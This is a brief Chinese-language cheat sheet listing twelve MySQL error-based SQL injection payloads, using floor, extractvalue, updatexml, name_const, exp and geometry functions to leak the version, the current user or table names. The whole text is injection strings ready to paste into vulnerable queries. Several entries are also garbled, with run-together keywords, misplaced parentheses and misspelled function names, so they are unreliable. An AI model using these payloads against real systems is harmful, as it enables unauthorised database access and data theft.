sql注入報錯方式有12種,分別是:
1、通過floor報錯,注入語句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通過ExtractValue報錯,注入語句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通過UpdateXml報錯,注入語句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通過NAME_CONST報錯,注入語句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通過join報錯,注入語句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通過exp報錯,注入語句如下:
and exp(~(select * from (select user () ) a) );
7、通過GeometryCollection()報錯,注入語句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通過polygon ()報錯,注入語句如下:
and polygon (()select * from(select user ())a)b );
9、通過multipoint ()報錯,注入語句如下:
and multipoint (()select * from(select user() )a)b );
10、通過multlinestring ()報錯,注入語句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通過multpolygon ()報錯,注入語句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通過linestring ()報錯,注入語句如下:
and linestring (()select * from(select user() )a)b );